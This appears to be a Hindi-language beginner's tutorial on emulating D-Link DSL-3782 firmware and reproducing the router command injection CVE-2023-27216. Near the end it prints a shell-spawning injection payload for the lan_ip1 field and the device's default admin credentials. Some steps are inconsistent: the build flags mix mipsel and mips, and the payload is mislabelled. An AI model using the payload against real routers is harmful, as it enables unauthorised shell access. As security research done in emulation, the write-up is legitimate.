
Newbie's approach to firmware hacking
यह दस्तावेज़ मेरे व्यक्तिगत अनुभव का वर्णन है - फर्मवेयर रिवर्सिंग और एक्सप्लॉइटिंग में एक नौसिखिया।

प्रदर्शन के लिए, हम CVE-2023-27216 का विश्लेषण और पुनरुत्पादन करेंगे।
किसी भी फर्मवेयर का शोषण करने के लिए निम्नलिखित चरण हैं:
gdbserver को स्थिर रूप से बनाएं।आमतौर पर एक फर्मवेयर बाइनरी फ़ाइल में एक बूटलोडर (uBoot), एक कर्नेल फ़ाइल, बूटलोडर के लिए कर्नेल हेडर (uImage), एक संपीड़ित फ़ाइल सिस्टम (आमतौर पर SquashFS प्रारूप में), एक CRC/MD5 तालिका (फ़ाइल अखंडता सत्यापित करने के लिए) और अन्य विविध फ़ाइलें होती हैं।
पहले फर्मवेयर का विश्लेषण करने का एक तरीका खोजें, कुछ शोध करें, कुछ संसाधन मिले:

बिनवॉक का उपयोग करके फर्मवेयर निकालें: binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

निकाले गए squashfs-root फ़ोल्डर और कुछ अजीब फ़ाइलें मिलीं।

बोनस: यदि आपको squashfs-root फ़ोल्डर दिखाई नहीं देता है, तो आप किसी भी ".squashfs" फ़ाइल पर unsquashfs का उपयोग करें जो आप देखते हैं। वे बस ज़िप फ़ाइलों की तरह हैं 😅।
फर्मवेयर आर्किटेक्चर और एंडियन की जाँच करें। यह फर्मवेयर से निकाले गए कुछ बायनरी की जाँच करके किया जा सकता है। आर्किटेक्चर और फर्मवेयर की जाँच करें: file <binary>

यहाँ हम लगभग पुष्टि कर सकते हैं कि फर्मवेयर MIPS 32-bit MSB आर्किटेक्चर पर चलता है। "लगभग" का कारण यह है कि कुछ फर्मवेयर MIPS संगत जैसे Lexra के साथ भिन्न आर्किटेक्चर पर चल सकते हैं।
सquashfs-root फ़ोल्डर की जाँच करें और कुछ दिलचस्प फ़ाइलें मिलीं:
usr/etc/init.d/rcS => यह वह स्क्रिप्ट है जो फर्मवेयर बूट होने पर चलती हैusr/etc/passwd => यह वह फ़ाइल है जिसमें उपयोगकर्ता जानकारी होती हैuserfs/romfile.cfg => इसमें एक क्रेडेंशियल admin:admin हैrcS फ़ाइल की जाँच करें और कुछ दिलचस्प कोड मिला:
echo "admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh" > /usr/etc/passwd
passwd फ़ाइल में लिखने के लिए उपयोग किया जाता हैBoa एक प्राचीन वेबसर्वर है, जिसका उपयोग मुख्य रूप से 2000 के दशक में राउटर जैसे एम्बेडेड उपकरणों में किया जाता था। हालांकि, बोआ सर्वर ने 2005 में ही अपना विकास बंद कर दिया था! भले ही बोआ सर्वर लगभग 20 साल पहले मर चुका है, यह आज भी हमारे विक्रेता की बदौलत जीवित है।

मैं अनुकरण प्रक्रिया के लिए Debian-आधारित OS जैसे Ubuntu या Kali का उपयोग करने की सलाह देता हूं। एक और OS है जो फर्मवेयर हैकिंग पर केंद्रित है जिसे AttifyOS कहा जाता है। इस दस्तावेज़ में, मैंने Kali Linux का उपयोग किया। अनुकरण प्रक्रिया शुरू करें, 2 उपकरण हैं:

आइए देखें कि फर्मवेयर को पूरी तरह से अनुकरण करने के लिए FAT का उपयोग कैसे करें। सबसे पहले, हम github से आपकी Kali मशीन पर रिपो को क्लोन करते हैं। और सेटअप प्रक्रिया से गुजरते हैं। आपको fat.config फ़ाइल भी बदलनी होगी, अन्यथा यह काम नहीं करेगा।
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
vi fat.config # Modify to your sudo password.
फिर हम फर्मवेयर बाइनरी (जो हमने निर्माता से डाउनलोड की थी) को अपनी Kali मशीन पर FAT के फ़ोल्डर में कॉपी करते हैं और इसे चलाते हैं।
./fat.py DSL-3782_A1_EU_1.01_07282016.bin
नोट: FAT की सेटअप प्रक्रिया के दौरान हमें त्रुटियां मिल सकती हैं। यह 'no libmagic' कह सकता है।

बस सरलता से चलाएं
pip unistall python-magic
pip install python-magic
इससे आपकी समस्या ठीक हो जानी चाहिए, फिर हम बिल्ड कमांड फिर से चलाते हैं। यह अब बढ़िया काम करना चाहिए।

चलाने के लिए Enter दबाएं। अनुकरण प्रक्रिया अच्छी तरह से काम करनी चाहिए जैसे आप http://192.168.1.1 (Kali मशीन पर) ब्राउज़ करके जांच सकते हैं कि यह काम करता है या नहीं।

यदि आपके पास क्रेडेंशियल हैं तो आप कंसोल में भी लॉगिन कर सकते हैं। यहाँ admin:admin है।

यदि आप अनुकरण फर्मवेयर को बंद करने का निर्णय लेते हैं, तो बस Ctrl+A X दबाएं। जब आपको फिर से चलाने की आवश्यकता हो, तो fat.py को दोबारा न चलाएं क्योंकि फर्मवेयर पहले से ही एक इमेज में बन चुका है। आपको केवल वह स्क्रिप्ट चलानी होगी जो पहले ही उत्पन्न हो चुकी है।
cd firmadyne/scratch/<Image-ID>
./run.sh

डिबगिंग उद्देश्य के लिए gdbserver बनाएं। gdbserver बनाने के कई तरीके हैं। आप स्थिर रूप से निर्मित सर्वर भी डाउनलोड कर सकते हैं। एक repo है जिसमें कुछ स्थिर रूप से निर्मित सर्वर हैं। हालांकि, मैं स्वयं gdbserver बनाना पसंद करता हूं क्योंकि github repo में मौजूद काफी पुराने हैं, जिनमें कुछ संगतता समस्याएं हो सकती हैं।
संदर्भ के लिए इस ब्लॉग पोस्ट को देखें https://sheran.sg/blog/cross-compile-gdb-for-mips/. ब्लॉग 30 जुलाई 2024 को अपलोड किया गया था, इस प्रोजेक्ट से ठीक पहले, इसलिए यह पूरी तरह से काम करता है।
नोट: ब्लॉग MIPS x32 LSB के लिए बनाया गया था जबकि हमें MIPS x32 MSB चाहिए। हमें mipsel-linux-gnu को mips-linux-gnu में बदलना होगा।
हमें MIPS के लिए टूल चेन स्थापित करने की आवश्यकता है। सौभाग्य से, Debian पैकेज में पहले से ही यह है।
**apt update && apt upgrade -y
apt install -y build-essential m4 gcc-mips-linux-gnu g++-mips-linux-gnu**
MIPS के लिए gdbserver बनाने के लिए, कुछ पैकेज हैं जिन्हें हमें बनाने और स्थापित करने की आवश्यकता है। यहाँ मैं स्रोत प्राप्त करता हूं।
स्रोत प्राप्त करें
wget https://sourceware.org/pub/gdb/releases/gdb-15.1.tar.xz
wget https://gmplib.org/download/gmp/gmp-6.3.0.tar.xz
wget https://www.mpfr.org/mpfr-current/mpfr-4.2.1.tar.xz
टूलचेन के साथ लाइब्रेरी बनाएं इन लाइब्रेरीज़ को बनाते समय रूट विशेषाधिकार होना महत्वपूर्ण है। हमें पहले GMP बनाना होगा क्योंकि MPFR बनाते समय यह एक आवश्यकता है।
tar xvf gmp-6.3.0.tar.xz && cd gmp-6.3.0
./configure --host=mips-linux-gnu
make -j$((`nproc`+1))
make install
cd ..
फिर हम MPFR बनाते हैं:
tar xvf mpfr-4.2.1.tar.xz && cd mpfr-4.2.1
./configure --host=mipsel-linux-gnu --with-gmp-build=<YOUR-FOLDER>/gmp-6.3.0
make -j$((`nproc`+1))
make install
cd ..
अब हम अंततः gdbserver बना सकते हैं:
tar xvf gdb-15.1.tar.xz && cd gdb-15.1
./configure --host=mipsel-linux-gnu --with-gmp-lib=/usr/local/lib --with-mpfr-lib=/usr/local/lib --with-gmp-include=<YOUR-FOLDER>/gmp-6.3.0 --with-mpfr-include=<YOUR-FOLDER>/mpfr-4.2.1/src
make -j$((`nproc`+1)) LDFLAGS=-static
बनाया गया बाइनरी gdbserver gdb-15.1/gdbserver फ़ोल्डर में होना चाहिए।
अनुकरण फर्मवेयर में wget, nc, curl, /dev/tcp, ... उपलब्ध नहीं है। हम फ़ाइलों को स्थानांतरित करने के लिए Python HTTP सर्वर होस्ट नहीं कर सकते। हमारे पास ssh भी नहीं है। हालांकि, हम इमेज को माउंट करके अपने gdbserver को अनुकरण मशीन में रख सकते हैं।
sudo ./scripts/mount.sh 1gdbserver को माउंटेड फ़ोल्डर में कहीं भी कॉपी करें।sudo ./scripts/umount.sh 1./run.sh चलाएं)।

अब से आप Kali मशीन के अंदर डिबगिंग और हैकिंग कर सकते हैं। हालांकि, हम अनुकरण मशीन को अपनी होस्ट मशीन (Windows या Mac) पर पोर्ट फॉरवर्ड करके एक कदम और आगे बढ़ सकते हैं।
पहले ifconfig का उपयोग करके नेटवर्क की जाँच करें।

परिणाम हमें बताता है कि 2 इंटरफ़ेस हैं: eth0 और tap1_0। हम जो जानते हैं, उससे eth0 इंटरफ़ेस होस्ट से साझा नेटवर्क का है और tap1_0 अनुकरण फर्मवेयर मशीन का इंटरफ़ेस है।
आसान समझ के लिए, eth0 का नेटवर्क सार्वजनिक नेटवर्क की तरह है जहाँ हम होस्ट मशीन से Kali मशीन तक पहुँच सकते हैं। tap1_0 निजी नेटवर्क की तरह है जहाँ हम केवल Kali मशीन से ही पहुँच सकते हैं। हमें eth0 से कनेक्शन को tap1_0 इंटरफ़ेस पर 192.168.1.1:80 पोर्ट पर फॉरवर्ड करने की आवश्यकता है।
इसमें हमारी मदद करने वाले कई उपकरण हैं। हालांकि, iptables सबसे अच्छा काम करता है, यदि आप निश्चित रूप से कॉन्फ़िगर करना जानते हैं।
हमें पहले पोर्ट फॉरवर्डिंग की अनुमति देनी होगी। यह कमांड चलाएं:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
यह केवल एक सत्र के लिए लागू होता है। यदि आप इसे स्थायी रूप से लागू करना चाहते हैं, तो /etc/sysctl.conf की सामग्री को संशोधित करें।
net.ipv4.ip_forward=1 # Find this line, uncomment it.
समाप्त होने पर फ़ाइल को सहेजें और बंद करें।
फिर इस फ़ाइल में सेटिंग्स लागू करें। निम्नलिखित कमांड चलाएं:
sudo sysctl -p
sudo sysctl --system
सामान्यतः, हम कुछ iptables कमांड चला सकते हैं। लेकिन यह बहुत थकाऊ होगा 😵💫। हम एक उपकरण iptables-persistent स्थापित कर सकते हैं। यह आपको एक कॉन्फिग फ़ाइल लिखने, फ़ाइल में लोड करने या चेन को फ़ाइल में निकालने की अनुमति देता है। सब कुछ जल्दी से किया जा सकता है।
apt install iptables-persistent
यहाँ हम जिस कॉन्फिग फ़ाइल को संशोधित करना चाहते हैं वह /etc/iptables/rules.v4 है। हम फ़ाइल की सामग्री को नीचे दी गई सामग्री में बदलते हैं।
*filter
:INPUT ACCEPT [37:22880]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [35:2330]
# Forward HTTP Port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 80 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 80 -s 192.168.1.1 -j ACCEPT
# Forward Debugger port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 31337 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 31337 -s 192.168.1.1 -j ACCEPT
COMMIT
# Completed on Wed Aug 7 09:32:11 2024
# Generated by iptables-save v1.8.10 (nf_tables) on Wed Aug 7 09:32:11 2024
*nat
:PREROUTING ACCEPT [60:5405]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [1096:50947]
-A PREROUTING -i eth0 -p tcp -j DNAT --to-destination 192.168.1.1
-A POSTROUTING -o tap1_0 -p tcp -d 192.168.1.1 -j MASQUERADE
ध्यान दें: सभी पोर्ट की अनुमति देने से सुरक्षा समस्याएं उत्पन्न होती हैं। अनुशंसा की जाती है कि सभी पोर्ट को
DROPकरें और फिर केवल अपनी पसंद के कुछ कोFORWARDकरें।
iptables चेन को सहेजें और नवीनीकृत करें।
service netfilter-persistent reload
अब आप होस्ट के बाहर से इसे एक्सेस कर सकते हैं।

शोषण करने के लिए कई एंडपॉइंट हैं। उनमें से 2 cfg_manager बाइनरी के अंदर हैं। मैं केवल 1 का प्रदर्शन करता हूं, दूसरा मैं आपको स्वयं समझने देता हूं।
बाइनरी को अपने पसंदीदा डीकंपाइलर में डालें, सभी system कमांड की जाँच करें, आप यह देख सकते हैं। कमांड /etc/lanconfig.sh नामक एक फ़ाइल चलाता है।

अन्य स्थानों की जाँच करना जो इस फ़ाइल का उपयोग कर सकते हैं, मैंने एक ऐसा स्थान पाया जहाँ हम फ़ाइल लिख सकते हैं।

इसके कार्य की व्याख्या:
/etc/lanconfig.sh खोलता हैmxmlElementGetAttr को कॉल करता है जो मेरे अनुसार किसी ऑब्जेक्ट से एक विशेषता ढूंढता है, यह सीधे या अप्रत्यक्ष रूप से HTTP अनुरोध से हो सकता है, यह XML हो सकता है।mxmlElementGetAttr से प्राप्त विशेषताओं से एक स्ट्रिंग बनाने के लिए sprintf का उपयोग करता है।fputs का उपयोग करता है।तुरंत, मैंने वेब फ़ोल्डर boaroot में IP, netmask से संबंधित किसी भी चीज़ की खोज की और यह पाया। boa वेबसर्वर के लिए दस्तावेज़ीकरण अत्यंत सीमित है, मैं केवल अनुमान लगा सकता हूं कि यह POST पैरामीटर lan_ip1 को IP पैरामीटर में एक XML में डालता है जो बाइनरी से कॉल किया जाता है।

इंटरफ़ेस पर, हम वह अनुरोध पा सकते हैं जो बग को ट्रिगर करता है। यह सेटिंग्स > नेटवर्क पर है।

जब हम Save दबाते हैं तो Burpsuite के साथ अनुरोध को इंटरसेप्ट करें।

पेलोड 192.168.1.1;utelnetd -p 8090 -l /bin/sh; एक रिवर्स शेल है। हम इसे कनेक्ट कर सकते हैं।

समान, FAT से बेहतर हो सकता है, अभी तक प्रयास नहीं किया है -> FirmAE.
Binary Ninja की कीमत केवल 74$ है यदि आपके पास छात्र स्थिति है। लाइसेंस किसी के साथ साझा किया जा सकता है।
CVE से संबंधित अन्य बग:

यह भी RCE की ओर ले जा सकता है, मैं इसे आपको स्वयं करने के लिए छोड़ूंगा। उस स्थान data_4c0160 पर मेमोरी कहीं इंजेक्ट की जा सकती है 🫡।

